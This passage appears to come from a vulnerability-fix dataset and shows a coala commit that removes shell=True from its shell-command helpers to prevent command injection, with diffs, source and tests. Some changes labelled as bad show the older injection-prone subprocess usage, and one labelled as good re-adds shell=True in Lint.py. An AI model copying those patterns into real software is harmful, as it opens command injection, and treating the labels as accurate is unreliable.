self.assertEqual(\n escape_path_argument(\"/home/us r/a-file with spaces.bla\", _type),\n \"/home/us r/a-file with spaces.bla\")\n self.assertEqual(\n escape_path_argument(\"|home|us r|a*dir with spaces|x|\", _type),\n \"|home|us r|a*dir with spaces|x|\")\n self.assertEqual(\n escape_path_argument(\"system|a|b|c?d\", _type),\n \"system|a|b|c?d\")\n\n\nclass RunShellCommandTest(unittest.TestCase):\n\n @staticmethod\n def construct_testscript_command(scriptname):\n return \" \".join(\n escape_path_argument(s) for s in (\n sys.executable,\n os.path.join(os.path.dirname(os.path.realpath(__file__)),\n \"run_shell_command_testfiles\",\n scriptname)))\n\n def test_run_interactive_shell_command(self):\n command = RunShellCommandTest.construct_testscript_command(\n \"test_interactive_program.py\")\n\n with run_interactive_shell_command(command) as p:\n self.assertEqual(p.stdout.readline(), \"test_program X\\n\")\n self.assertEqual(p.stdout.readline(), \"Type in a number:\\n\")\n p.stdin.write(\"33\\n\")\n p.stdin.flush()\n self.assertEqual(p.stdout.readline(), \"33\\n\")\n self.assertEqual(p.stdout.readline(), \"Exiting program.\\n\")\n\n def test_run_interactive_shell_command_kwargs_delegation(self):\n with self.assertRaises(TypeError):\n with run_interactive_shell_command(\"some_command\",\n weird_parameter=30):\n pass\n\n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n with run_interactive_shell_command(\"some_command\", shell=False):\n pass\n\n def test_run_shell_command_without_stdin(self):\n command = RunShellCommandTest.construct_testscript_command(\n \"test_program.py\")\n\n stdout, stderr = run_shell_command(command)\n\n expected = (\"test_program Z\\n\"\n \"non-interactive mode.\\n\"\n \"Exiting...\\n\")\n self.assertEqual(stdout, expected)\n self.assertEqual(stderr, \"\")\n\n def test_run_shell_command_with_stdin(self):\n command = RunShellCommandTest.construct_testscript_command(\n \"test_input_program.py\")\n\n stdout, stderr = run_shell_command(command, \"1 4 10 22\")\n\n self.assertEqual(stdout, \"37\\n\")\n self.assertEqual(stderr, \"\")\n\n stdout, stderr = run_shell_command(command, \"1 p 5\")\n\n self.assertEqual(stdout, \"\")\n self.assertEqual(stderr, \"INVALID INPUT\\n\")\n\n def test_run_shell_command_kwargs_delegation(self):\n with self.assertRaises(TypeError):\n run_shell_command(\"super-cool-command\", weird_parameter2=\"abc\")\n\n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n run_shell_command(\"super-cool-command\", universal_newlines=False)\n\n\nclass PrepareStringArgumentTest(unittest.TestCase):\n\n def setUp(self):\n self.test_strings = (\"normal_string\",\n \"string with spaces\",\n 'string with quotes\"a',\n \"string with s-quotes'b\",\n \"bsn \\n A\",\n \"unrecognized \\\\q escape\")\n\n def test_prepare_string_argument_sh(self):\n expected_results = ('\"normal_string\"',\n '\"string with spaces\"',\n '\"string with quotes\\\\\"a\"',\n '\"string with s-quotes\\'b\"',\n '\"bsn \\n A\"',\n '\"unrecognized \\\\q escape\"')\n\n for string, result in zip(self.test_strings, expected_results):\n self.assertEqual(prepare_string_argument(string, \"sh\"),\n result)\n\n def test_prepare_string_argument_unsupported(self):\n for string in self.test_strings:\n self.assertEqual(prepare_string_argument(string, \"WeIrD_O/S\"),\n string)\n"}}, "msg": "Shell.run_shell_command: Remove `shell=True`\n\nThis protects us against shell injection and also surprises due to\nshell interpretation.\n\nFor compatability use `shlex.split()` when providing a string as a\ncommand and not a sequence.\n\nAlso the `ShellTest` needs adaption since it used a shell-command\nbefore which is not possible any more. Now argument-lists are used\ninstead.\n\nFixes https://github.com/coala-analyzer/coala/issues/1264."}, "801092d1f01896f6c627cea35d1beeb82a533f5a": {"url": "https://api.github.com/repos/coala/coala/commits/801092d1f01896f6c627cea35d1beeb82a533f5a", "html_url": "https://github.com/coala/coala/commit/801092d1f01896f6c627cea35d1beeb82a533f5a", "message": "Shell.run_shell_command: Remove `shell=True`\n\nThis protects us against shell injection and also surprises due to\nshell interpretation.\n\nFor compatability use `shlex.split()` when providing a string as a\ncommand and not a sequence.\n\nAlso the `ShellTest` needs adaption since it used a shell-command\nbefore which is not possible any more. Now argument-lists are used\ninstead.\n\n`Lint` does still use `shell=True` for compatability purposes. This\nwill be changed in following commits.\n\nThis reintroduces commit adc94c745e4d9f792fd9c9791c7b4cd8790d0d2f.", "sha": "801092d1f01896f6c627cea35d1beeb82a533f5a", "keyword": "command injection protect", "diff": "diff --git a/coalib/bearlib/abstractions/Lint.py b/coalib/bearlib/abstractions/Lint.py\nindex 5c02d7673..7bc448381 100644\n--- a/coalib/bearlib/abstractions/Lint.py\n+++ b/coalib/bearlib/abstractions/Lint.py\n@@ -93,7 +93,8 @@ def lint(self, filename=None, file=None):\n \n stdin_input = \"\".join(file) if self.use_stdin else None\n stdout_output, stderr_output = run_shell_command(self.command,\n- stdin=stdin_input)\n+ stdin=stdin_input,\n+ shell=True)\n self.stdout_output = tuple(stdout_output.splitlines(keepends=True))\n self.stderr_output = tuple(stderr_output.splitlines(keepends=True))\n results_output = (self.stderr_output if self.use_stderr\ndiff --git a/coalib/misc/Shell.py b/coalib/misc/Shell.py\nindex 4ef9c387a..7dfdc45e8 100644\n--- a/coalib/misc/Shell.py\n+++ b/coalib/misc/Shell.py\n@@ -1,4 +1,5 @@\n from contextlib import contextmanager\n+import shlex\n from subprocess import PIPE, Popen\n \n from coalib.parsing.StringProcessing import escape\n@@ -7,23 +8,36 @@\n @contextmanager\n def run_interactive_shell_command(command, **kwargs):\n \"\"\"\n- Runs a command in shell and provides stdout, stderr and stdin streams.\n-\n- This function creates a context manager that sets up the process, returns\n- to caller, closes streams and waits for process to exit on leaving.\n-\n- The process is opened in ``universal_newlines`` mode.\n-\n- :param command: The command to run on shell.\n- :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``\n- that is used to spawn the process (except ``shell``,\n- ``stdout``, ``stderr``, ``stdin`` and\n+ Runs a single command in shell and provides stdout, stderr and stdin\n+ streams.\n+\n+ This function creates a context manager that sets up the process (using\n+ ``subprocess.Popen()``), returns to caller, closes streams and waits for\n+ process to exit on leaving.\n+\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass ``shell=True`` like\n+ you would do for ``subprocess.Popen()``.\n+\n+ The process is opened in ``universal_newlines`` mode by default.\n+\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using ``shlex.split()``. If providing ``shell=True`` as a\n+ keyword-argument, no ``shlex.split()`` is performed and the\n+ command string goes directly to ``subprocess.Popen()``.\n+ :param kwargs: Additional keyword arguments to pass to\n+ ``subprocess.Popen`` that is used to spawn the process\n+ (except ``stdout``, ``stderr``, ``stdin`` and\n ``universal_newlines``, a ``TypeError`` is raised then).\n :return: A context manager yielding the process started from the\n command.\n \"\"\"\n+ if not kwargs.get(\"shell\", False) and isinstance(command, str):\n+ command = shlex.split(command)\n+\n process = Popen(command,\n- shell=True,\n stdout=PIPE,\n stderr=PIPE,\n stdin=PIPE,\n@@ -40,15 +54,25 @@ def run_interactive_shell_command(command, **kwargs):\n \n def run_shell_command(command, stdin=None, **kwargs):\n \"\"\"\n- Runs a command in shell and returns the read stdout and stderr data.\n+ Runs a single command in shell and returns the read stdout and stderr data.\n+\n+ This function waits for the process (created using ``subprocess.Popen()``)\n+ to exit.\n+\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass ``shell=True`` like\n+ you would do for ``subprocess.Popen()``.\n \n- This function waits for the process to exit.\n+ See also ``run_interactive_shell_command()``.\n \n- :param command: The command to run on shell.\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using ``shlex.split()``.\n :param stdin: Initial input to send to the process.\n- :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``\n- that is used to spawn the process (except ``shell``,\n- ``stdout``, ``stderr``, ``stdin`` and\n+ :param kwargs: Additional keyword arguments to pass to\n+ ``subprocess.Popen`` that are used to spawn the process\n+ (except ``stdout``, ``stderr``, ``stdin`` and\n ``universal_newlines``, a ``TypeError`` is raised then).\n :return: A tuple with ``(stdoutstring, stderrstring)``.\n \"\"\"\n@@ -67,10 +91,10 @@ def get_shell_type(): # pragma: no cover\n Powershell is detected, \"cmd\" if command prompt is been\n detected or \"sh\" if it's neither of these.\n \"\"\"\n- out = run_shell_command(\"echo $host.name\")[0]\n+ out = run_shell_command(\"echo $host.name\", shell=True)[0]\n if out.strip() == \"ConsoleHost\":\n return \"powershell\"\n- out = run_shell_command(\"echo $0\")[0]\n+ out = run_shell_command(\"echo $0\", shell=True)[0]\n if out.strip() == \"$0\":\n return \"cmd\"\n return \"sh\"\ndiff --git a/tests/misc/ShellTest.py b/tests/misc/ShellTest.py\nindex f96080fa6..19dfadacd 100644\n--- a/tests/misc/ShellTest.py\n+++ b/tests/misc/ShellTest.py\n@@ -78,12 +78,10 @@ class RunShellCommandTest(unittest.TestCase):\n \n @staticmethod\n def construct_testscript_command(scriptname):\n- return \" \".join(\n- escape_path_argument(s) for s in (\n- sys.executable,\n+ return (sys.executable,\n os.path.join(os.path.dirname(os.path.realpath(__file__)),\n \"run_shell_command_testfiles\",\n- scriptname)))\n+ scriptname))\n \n def test_run_interactive_shell_command(self):\n command = RunShellCommandTest.construct_testscript_command(\n@@ -105,7 +103,7 @@ def test_run_interactive_shell_command_kwargs_delegation(self):\n \n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n- with run_interactive_shell_command(\"some_command\", shell=False):\n+ with run_interactive_shell_command(\"some_command\", stdout=None):\n pass\n \n def test_run_shell_command_without_stdin(self):\n", "files": {"/coalib/bearlib/abstractions/Lint.py": {"changes": [{"diff": "\n \n stdin_input = \"\".join(file) if self.use_stdin else None\n stdout_output, stderr_output = run_shell_command(self.command,\n- stdin=stdin_input)\n+ stdin=stdin_input,\n+ shell=True)\n self.stdout_output = tuple(stdout_output.splitlines(keepends=True))\n self.stderr_output = tuple(stderr_output.splitlines(keepends=True))\n results_output = (self.stderr_output if self.use_stderr", "add": 2, "remove": 1, "filename": "/coalib/bearlib/abstractions/Lint.py", "badparts": [" stdin=stdin_input)"], "goodparts": [" stdin=stdin_input,", " shell=True)"]}], "source": "\nimport os import re import shutil from subprocess import check_call, CalledProcessError, DEVNULL import tempfile from coalib.bears.Bear import Bear from coalib.misc.Decorators import enforce_signature from coalib.misc.Shell import escape_path_argument, run_shell_command from coalib.results.Diff import Diff from coalib.results.Result import Result from coalib.results.RESULT_SEVERITY import RESULT_SEVERITY class Lint(Bear): \"\"\" Deals with the creation of linting bears. For the tutorial see: http://coala.readthedocs.org/en/latest/Users/Tutorials/Linter_Bears.html :param executable: The executable to run the linter. :param prerequisite_command: The command to run as a prerequisite and is of type ``list``. :param prerequisites_fail_msg: The message to be displayed if the prerequisite fails. :param arguments: The arguments to supply to the linter, such that the file name to be analyzed can be appended to the end. Note that we use ``.format()`` on the arguments - so, ``{abc}`` needs to be given as ``{{abc}}``. Currently, the following will be replaced: -``{filename}`` -The filename passed to ``lint()`` -``{config_file}`` -The config file created using ``config_file()`` :param output_regex: The regex which will match the output of the linter to get results. This is not used if ``gives_corrected`` is set. This regex should give out the following variables: -line -The line where the issue starts. -column -The column where the issue starts. -end_line -The line where the issue ends. -end_column -The column where the issue ends. -severity -The severity of the issue. -message -The message of the result. -origin -The origin of the issue. :param diff_severity: The severity to use for all results if ``gives_corrected`` is set. :param diff_message: The message to use for all results if ``gives_corrected`` is set. :param use_stderr: Uses stderr as the output stream is it's True. :param use_stdin: Sends file as stdin instead of giving the file name. :param gives_corrected: True if the executable gives the corrected file or just the issues. :param severity_map: A dict where the keys are the possible severity values the Linter gives out and the values are the severity of the coala Result to set it to. If it is not a dict, it is ignored. \"\"\" executable=None prerequisite_command=None prerequisite_fail_msg='Unknown failure.' arguments=\"\" output_regex=re.compile(r'(?P\\d+)\\.(?P\\d+)\\|' r'(?P\\d+):(?P.*)') diff_message='No result message was set' diff_severity=RESULT_SEVERITY.NORMAL use_stderr=False use_stdin=False gives_corrected=False severity_map=None def lint(self, filename=None, file=None): \"\"\" Takes a file and lints it using the linter variables defined apriori. :param filename: The name of the file to execute. :param file: The contents of the file as a list of strings. \"\"\" assert((self.use_stdin and file is not None) or (not self.use_stdin and filename is not None)) config_file=self.generate_config_file() self.command=self._create_command(filename=filename, config_file=config_file) stdin_input=\"\".join(file) if self.use_stdin else None stdout_output, stderr_output=run_shell_command(self.command, stdin=stdin_input) self.stdout_output=tuple(stdout_output.splitlines(keepends=True)) self.stderr_output=tuple(stderr_output.splitlines(keepends=True)) results_output=(self.stderr_output if self.use_stderr else self.stdout_output) results=self.process_output(results_output, filename, file) if not self.use_stderr: self._print_errors(self.stderr_output) if config_file: os.remove(config_file) return results def process_output(self, output, filename, file): \"\"\" Take the output(from stdout or stderr) and use it to create Results. If the class variable ``gives_corrected`` is set to True, the ``_process_corrected()`` is called. If it is False, ``_process_issues()`` is called. :param output: The output to be used to obtain Results from. The output is either stdout or stderr depending on the class variable ``use_stderr``. :param filename: The name of the file whose output is being processed. :param file: The contents of the file whose output is being processed. :return: Generator which gives Results produced based on this output. \"\"\" if self.gives_corrected: return self._process_corrected(output, filename, file) else: return self._process_issues(output, filename) def _process_corrected(self, output, filename, file): \"\"\" Process the output and use it to create Results by creating diffs. The diffs are created by comparing the output and the original file. :param output: The corrected file contents. :param filename: The name of the file. :param file: The original contents of the file. :return: Generator which gives Results produced based on the diffs created by comparing the original and corrected contents. \"\"\" for diff in self.__yield_diffs(file, output): yield Result(self, self.diff_message, affected_code=(diff.range(filename),), diffs={filename: diff}, severity=self.diff_severity) def _process_issues(self, output, filename): \"\"\" Process the output using the regex provided in ``output_regex`` and use it to create Results by using named captured groups from the regex. :param output: The output to be parsed by regex. :param filename: The name of the file. :param file: The original contents of the file. :return: Generator which gives Results produced based on regex matches using the ``output_regex`` provided and the ``output`` parameter. \"\"\" regex=self.output_regex if isinstance(regex, str): regex=regex %{\"file_name\": filename} for match in re.finditer(regex, \"\".join(output)): yield self.match_to_result(match, filename) def _get_groupdict(self, match): \"\"\" Convert a regex match's groups into a dictionary with data to be used to create a Result. This is used internally in ``match_to_result``. :param match: The match got from regex parsing. :param filename: The name of the file from which this match is got. :return: The dictionary containing the information: -line -The line where the result starts. -column -The column where the result starts. -end_line -The line where the result ends. -end_column -The column where the result ends. -severity -The severity of the result. -message -The message of the result. -origin -The origin of the result. \"\"\" groups=match.groupdict() if( isinstance(self.severity_map, dict) and \"severity\" in groups and groups[\"severity\"] in self.severity_map): groups[\"severity\"]=self.severity_map[groups[\"severity\"]] return groups def _create_command(self, **kwargs): command=self.executable +' ' +self.arguments for key in(\"filename\", \"config_file\"): kwargs[key]=escape_path_argument(kwargs.get(key, \"\") or \"\") return command.format(**kwargs) def _print_errors(self, errors): for line in filter(lambda error: bool(error.strip()), errors): self.warn(line) @staticmethod def __yield_diffs(file, new_file): if tuple(new_file) !=tuple(file): wholediff=Diff.from_string_arrays(file, new_file) for diff in wholediff.split_diff(): yield diff def match_to_result(self, match, filename): \"\"\" Convert a regex match's groups into a coala Result object. :param match: The match got from regex parsing. :param filename: The name of the file from which this match is got. :return: The Result object. \"\"\" groups=self._get_groupdict(match) for variable in(\"line\", \"column\", \"end_line\", \"end_column\"): if variable in groups and groups[variable]: groups[variable]=int(groups[variable]) if \"origin\" in groups: groups['origin']=\"{}({})\".format(str(self.__class__.__name__), str(groups[\"origin\"])) return Result.from_values( origin=groups.get(\"origin\", self), message=groups.get(\"message\", \"\"), file=filename, severity=int(groups.get(\"severity\", RESULT_SEVERITY.NORMAL)), line=groups.get(\"line\", None), column=groups.get(\"column\", None), end_line=groups.get(\"end_line\", None), end_column=groups.get(\"end_column\", None)) @classmethod def check_prerequisites(cls): \"\"\" Checks for prerequisites required by the Linter Bear. It uses the class variables: - ``executable`` -Checks that it is available in the PATH using ``shutil.which``. - ``prerequisite_command`` -Checks that when this command is run, the exitcode is 0. If it is not zero, ``prerequisite_fail_msg`` is gives as the failure message. If either of them is set to ``None`` that check is ignored. :return: True is all checks are valid, else False. \"\"\" return cls._check_executable_command( executable=cls.executable, command=cls.prerequisite_command, fail_msg=cls.prerequisite_fail_msg) @classmethod @enforce_signature def _check_executable_command(cls, executable, command:(list, tuple, None), fail_msg): \"\"\" Checks whether the required executable is found and the required command succesfully executes. The function is intended be used with classes having an executable, prerequisite_command and prerequisite_fail_msg. :param executable: The executable to check for. :param command: The command to check as a prerequisite. :param fail_msg: The fail message to display when the command doesn't return an exitcode of zero. :return: True if command successfully executes, or is not required. not True otherwise, with a string containing a detailed description of the error. \"\"\" if cls._check_executable(executable): if command is None: return True try: check_call(command, stdout=DEVNULL, stderr=DEVNULL) return True except(OSError, CalledProcessError): return fail_msg else: return repr(executable) +\" is not installed.\" @staticmethod def _check_executable(executable): \"\"\" Checks whether the needed executable is present in the system. :param executable: The executable to check for. :return: True if binary is present, or is not required. not True otherwise, with a string containing a detailed description of what's missing. \"\"\" if executable is None: return True return shutil.which(executable) is not None def generate_config_file(self): \"\"\" Generates a temporary config file. Note: The user of the function is responsible for deleting the tempfile when done with it. :return: The file name of the tempfile created. \"\"\" config_lines=self.config_file() config_file=\"\" if config_lines is not None: for i, line in enumerate(config_lines): config_lines[i]=line if line.endswith(\"\\n\") else line +\"\\n\" config_fd, config_file=tempfile.mkstemp() os.close(config_fd) with open(config_file, 'w') as conf_file: conf_file.writelines(config_lines) return config_file @staticmethod def config_file(): \"\"\" Returns a configuation file from the section given to the bear. The section is available in ``self.section``. To add the config file's name generated by this function to the arguments, use ``{config_file}``. :return: A list of lines of the config file to be used or None. \"\"\" return None ", "sourceWithComments": "import os\nimport re\nimport shutil\nfrom subprocess import check_call, CalledProcessError, DEVNULL\nimport tempfile\n\nfrom coalib.bears.Bear import Bear\nfrom coalib.misc.Decorators import enforce_signature\nfrom coalib.misc.Shell import escape_path_argument, run_shell_command\nfrom coalib.results.Diff import Diff\nfrom coalib.results.Result import Result\nfrom coalib.results.RESULT_SEVERITY import RESULT_SEVERITY\n\n\nclass Lint(Bear):\n\n \"\"\"\n Deals with the creation of linting bears.\n\n For the tutorial see:\n http://coala.readthedocs.org/en/latest/Users/Tutorials/Linter_Bears.html\n\n :param executable: The executable to run the linter.\n :param prerequisite_command: The command to run as a prerequisite\n and is of type ``list``.\n :param prerequisites_fail_msg: The message to be displayed if the\n prerequisite fails.\n :param arguments: The arguments to supply to the linter,\n such that the file name to be analyzed\n can be appended to the end. Note that\n we use ``.format()`` on the arguments -\n so, ``{abc}`` needs to be given as\n ``{{abc}}``. Currently, the following\n will be replaced:\n\n - ``{filename}`` - The filename passed\n to ``lint()``\n - ``{config_file}`` - The config file\n created using ``config_file()``\n\n :param output_regex: The regex which will match the output of the linter\n to get results. This is not used if\n ``gives_corrected`` is set. This regex should give\n out the following variables:\n\n - line - The line where the issue starts.\n - column - The column where the issue starts.\n - end_line - The line where the issue ends.\n - end_column - The column where the issue ends.\n - severity - The severity of the issue.\n - message - The message of the result.\n - origin - The origin of the issue.\n\n :param diff_severity: The severity to use for all results if\n ``gives_corrected`` is set.\n :param diff_message: The message to use for all results if\n ``gives_corrected`` is set.\n :param use_stderr: Uses stderr as the output stream is it's True.\n :param use_stdin: Sends file as stdin instead of giving the file name.\n :param gives_corrected: True if the executable gives the corrected file\n or just the issues.\n :param severity_map: A dict where the keys are the possible severity\n values the Linter gives out and the values are the\n severity of the coala Result to set it to. If it is\n not a dict, it is ignored.\n \"\"\"\n executable = None\n prerequisite_command = None\n prerequisite_fail_msg = 'Unknown failure.'\n arguments = \"\"\n output_regex = re.compile(r'(?P\\d+)\\.(?P\\d+)\\|'\n r'(?P\\d+): (?P.*)')\n diff_message = 'No result message was set'\n diff_severity = RESULT_SEVERITY.NORMAL\n use_stderr = False\n use_stdin = False\n gives_corrected = False\n severity_map = None\n\n def lint(self, filename=None, file=None):\n \"\"\"\n Takes a file and lints it using the linter variables defined apriori.\n\n :param filename: The name of the file to execute.\n :param file: The contents of the file as a list of strings.\n \"\"\"\n assert ((self.use_stdin and file is not None) or\n (not self.use_stdin and filename is not None))\n\n config_file = self.generate_config_file()\n self.command = self._create_command(filename=filename,\n config_file=config_file)\n\n stdin_input = \"\".join(file) if self.use_stdin else None\n stdout_output, stderr_output = run_shell_command(self.command,\n stdin=stdin_input)\n self.stdout_output = tuple(stdout_output.splitlines(keepends=True))\n self.stderr_output = tuple(stderr_output.splitlines(keepends=True))\n results_output = (self.stderr_output if self.use_stderr\n else self.stdout_output)\n results = self.process_output(results_output, filename, file)\n if not self.use_stderr:\n self._print_errors(self.stderr_output)\n\n if config_file:\n os.remove(config_file)\n\n return results\n\n def process_output(self, output, filename, file):\n \"\"\"\n Take the output (from stdout or stderr) and use it to create Results.\n If the class variable ``gives_corrected`` is set to True, the\n ``_process_corrected()`` is called. If it is False,\n ``_process_issues()`` is called.\n\n :param output: The output to be used to obtain Results from. The\n output is either stdout or stderr depending on the\n class variable ``use_stderr``.\n :param filename: The name of the file whose output is being processed.\n :param file: The contents of the file whose output is being\n processed.\n :return: Generator which gives Results produced based on this\n output.\n \"\"\"\n if self.gives_corrected:\n return self._process_corrected(output, filename, file)\n else:\n return self._process_issues(output, filename)\n\n def _process_corrected(self, output, filename, file):\n \"\"\"\n Process the output and use it to create Results by creating diffs.\n The diffs are created by comparing the output and the original file.\n\n :param output: The corrected file contents.\n :param filename: The name of the file.\n :param file: The original contents of the file.\n :return: Generator which gives Results produced based on the\n diffs created by comparing the original and corrected\n contents.\n \"\"\"\n for diff in self.__yield_diffs(file, output):\n yield Result(self,\n self.diff_message,\n affected_code=(diff.range(filename),),\n diffs={filename: diff},\n severity=self.diff_severity)\n\n def _process_issues(self, output, filename):\n \"\"\"\n Process the output using the regex provided in ``output_regex`` and\n use it to create Results by using named captured groups from the regex.\n\n :param output: The output to be parsed by regex.\n :param filename: The name of the file.\n :param file: The original contents of the file.\n :return: Generator which gives Results produced based on regex\n matches using the ``output_regex`` provided and the\n ``output`` parameter.\n \"\"\"\n regex = self.output_regex\n if isinstance(regex, str):\n regex = regex % {\"file_name\": filename}\n\n # Note: We join ``output`` because the regex may want to capture\n # multiple lines also.\n for match in re.finditer(regex, \"\".join(output)):\n yield self.match_to_result(match, filename)\n\n def _get_groupdict(self, match):\n \"\"\"\n Convert a regex match's groups into a dictionary with data to be used\n to create a Result. This is used internally in ``match_to_result``.\n\n :param match: The match got from regex parsing.\n :param filename: The name of the file from which this match is got.\n :return: The dictionary containing the information:\n - line - The line where the result starts.\n - column - The column where the result starts.\n - end_line - The line where the result ends.\n - end_column - The column where the result ends.\n - severity - The severity of the result.\n - message - The message of the result.\n - origin - The origin of the result.\n \"\"\"\n groups = match.groupdict()\n if (\n isinstance(self.severity_map, dict) and\n \"severity\" in groups and\n groups[\"severity\"] in self.severity_map):\n groups[\"severity\"] = self.severity_map[groups[\"severity\"]]\n return groups\n\n def _create_command(self, **kwargs):\n command = self.executable + ' ' + self.arguments\n for key in (\"filename\", \"config_file\"):\n kwargs[key] = escape_path_argument(kwargs.get(key, \"\") or \"\")\n return command.format(**kwargs)\n\n def _print_errors(self, errors):\n for line in filter(lambda error: bool(error.strip()), errors):\n self.warn(line)\n\n @staticmethod\n def __yield_diffs(file, new_file):\n if tuple(new_file) != tuple(file):\n wholediff = Diff.from_string_arrays(file, new_file)\n\n for diff in wholediff.split_diff():\n yield diff\n\n def match_to_result(self, match, filename):\n \"\"\"\n Convert a regex match's groups into a coala Result object.\n\n :param match: The match got from regex parsing.\n :param filename: The name of the file from which this match is got.\n :return: The Result object.\n \"\"\"\n groups = self._get_groupdict(match)\n\n # Pre process the groups\n for variable in (\"line\", \"column\", \"end_line\", \"end_column\"):\n if variable in groups and groups[variable]:\n groups[variable] = int(groups[variable])\n\n if \"origin\" in groups:\n groups['origin'] = \"{} ({})\".format(str(self.__class__.__name__),\n str(groups[\"origin\"]))\n\n return Result.from_values(\n origin=groups.get(\"origin\", self),\n message=groups.get(\"message\", \"\"),\n file=filename,\n severity=int(groups.get(\"severity\", RESULT_SEVERITY.NORMAL)),\n line=groups.get(\"line\", None),\n column=groups.get(\"column\", None),\n end_line=groups.get(\"end_line\", None),\n end_column=groups.get(\"end_column\", None))\n\n @classmethod\n def check_prerequisites(cls):\n \"\"\"\n Checks for prerequisites required by the Linter Bear.\n\n It uses the class variables:\n - ``executable`` - Checks that it is available in the PATH using\n ``shutil.which``.\n - ``prerequisite_command`` - Checks that when this command is run,\n the exitcode is 0. If it is not zero, ``prerequisite_fail_msg``\n is gives as the failure message.\n\n If either of them is set to ``None`` that check is ignored.\n\n :return: True is all checks are valid, else False.\n \"\"\"\n return cls._check_executable_command(\n executable=cls.executable,\n command=cls.prerequisite_command,\n fail_msg=cls.prerequisite_fail_msg)\n\n @classmethod\n @enforce_signature\n def _check_executable_command(cls, executable,\n command: (list, tuple, None), fail_msg):\n \"\"\"\n Checks whether the required executable is found and the\n required command succesfully executes.\n\n The function is intended be used with classes having an\n executable, prerequisite_command and prerequisite_fail_msg.\n\n :param executable: The executable to check for.\n :param command: The command to check as a prerequisite.\n :param fail_msg: The fail message to display when the\n command doesn't return an exitcode of zero.\n\n :return: True if command successfully executes, or is not required.\n not True otherwise, with a string containing a\n detailed description of the error.\n \"\"\"\n if cls._check_executable(executable):\n if command is None:\n return True # when there are no prerequisites\n try:\n check_call(command, stdout=DEVNULL, stderr=DEVNULL)\n return True\n except (OSError, CalledProcessError):\n return fail_msg\n else:\n return repr(executable) + \" is not installed.\"\n\n @staticmethod\n def _check_executable(executable):\n \"\"\"\n Checks whether the needed executable is present in the system.\n\n :param executable: The executable to check for.\n\n :return: True if binary is present, or is not required.\n not True otherwise, with a string containing a\n detailed description of what's missing.\n \"\"\"\n if executable is None:\n return True\n return shutil.which(executable) is not None\n\n def generate_config_file(self):\n \"\"\"\n Generates a temporary config file.\n Note: The user of the function is responsible for deleting the\n tempfile when done with it.\n\n :return: The file name of the tempfile created.\n \"\"\"\n config_lines = self.config_file()\n config_file = \"\"\n if config_lines is not None:\n for i, line in enumerate(config_lines):\n config_lines[i] = line if line.endswith(\"\\n\") else line + \"\\n\"\n config_fd, config_file = tempfile.mkstemp()\n os.close(config_fd)\n with open(config_file, 'w') as conf_file:\n conf_file.writelines(config_lines)\n return config_file\n\n @staticmethod\n def config_file():\n \"\"\"\n Returns a configuation file from the section given to the bear.\n The section is available in ``self.section``. To add the config\n file's name generated by this function to the arguments,\n use ``{config_file}``.\n\n :return: A list of lines of the config file to be used or None.\n \"\"\"\n return None\n"}, "/coalib/misc/Shell.py": {"changes": [{"diff": "\n def run_interactive_shell_command(command, **kwargs):\n \"\"\"\n- Runs a command in shell and provides stdout, stderr and stdin streams.\n-\n- This function creates a context manager that sets up the process, returns\n- to caller, closes streams and waits for process to exit on leaving.\n-\n- The process is opened in ``universal_newlines`` mode.\n-\n- :param command: The command to run on shell.\n- :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``\n- that is used to spawn the process (except ``shell``,\n- ``stdout``, ``stderr``, ``stdin`` and\n+ Runs a single command in shell and provides stdout, stderr and stdin\n+ streams.\n+\n+ This function creates a context manager that sets up the process (using\n+ ``subprocess.Popen()``), returns to caller, closes streams and waits for\n+ process to exit on leaving.\n+\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass ``shell=True`` like\n+ you would do for ``subprocess.Popen()``.\n+\n+ The process is opened in ``universal_newlines`` mode by default.\n+\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using ``shlex.split()``. If providing ``shell=True`` as a\n+ keyword-argument, no ``shlex.split()`` is performed and the\n+ command string goes directly to ``subprocess.Popen()``.\n+ :param kwargs: Additional keyword arguments to pass to\n+ ``subprocess.Popen`` that is used to spawn the process\n+ (except ``stdout``, ``stderr``, ``stdin`` and\n ``universal_newlines``, a ``TypeError`` is raised then).\n :return: A context manager yielding the process started from the\n command.\n \"\"\"\n+ if not kwargs.get(\"shell\", False) and isinstance(command, str):\n+ command = shlex.split(command)\n+\n process = Popen(command,\n- shell=True,\n stdout=PIPE,\n stderr=PIPE,\n stdin=PIPE,\n", "add": 25, "remove": 12, "filename": "/coalib/misc/Shell.py", "badparts": [" Runs a command in shell and provides stdout, stderr and stdin streams.", " This function creates a context manager that sets up the process, returns", " to caller, closes streams and waits for process to exit on leaving.", " The process is opened in ``universal_newlines`` mode.", " :param command: The command to run on shell.", " :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``", " that is used to spawn the process (except ``shell``,", " ``stdout``, ``stderr``, ``stdin`` and", " shell=True,"], "goodparts": [" Runs a single command in shell and provides stdout, stderr and stdin", " streams.", " This function creates a context manager that sets up the process (using", " ``subprocess.Popen()``), returns to caller, closes streams and waits for", " process to exit on leaving.", " Shell execution is disabled by default (so no shell expansion takes place).", " If you want to turn shell execution on, you can pass ``shell=True`` like", " you would do for ``subprocess.Popen()``.", " The process is opened in ``universal_newlines`` mode by default.", " :param command: The command to run on shell. This parameter can either", " be a sequence of arguments that are directly passed to", " the process or a string. A string gets splitted beforehand", " using ``shlex.split()``. If providing ``shell=True`` as a", " keyword-argument, no ``shlex.split()`` is performed and the", " command string goes directly to ``subprocess.Popen()``.", " :param kwargs: Additional keyword arguments to pass to", " ``subprocess.Popen`` that is used to spawn the process", " (except ``stdout``, ``stderr``, ``stdin`` and", " if not kwargs.get(\"shell\", False) and isinstance(command, str):", " command = shlex.split(command)"]}, {"diff": "\n \n def run_shell_command(command, stdin=None, **kwargs):\n \"\"\"\n- Runs a command in shell and returns the read stdout and stderr 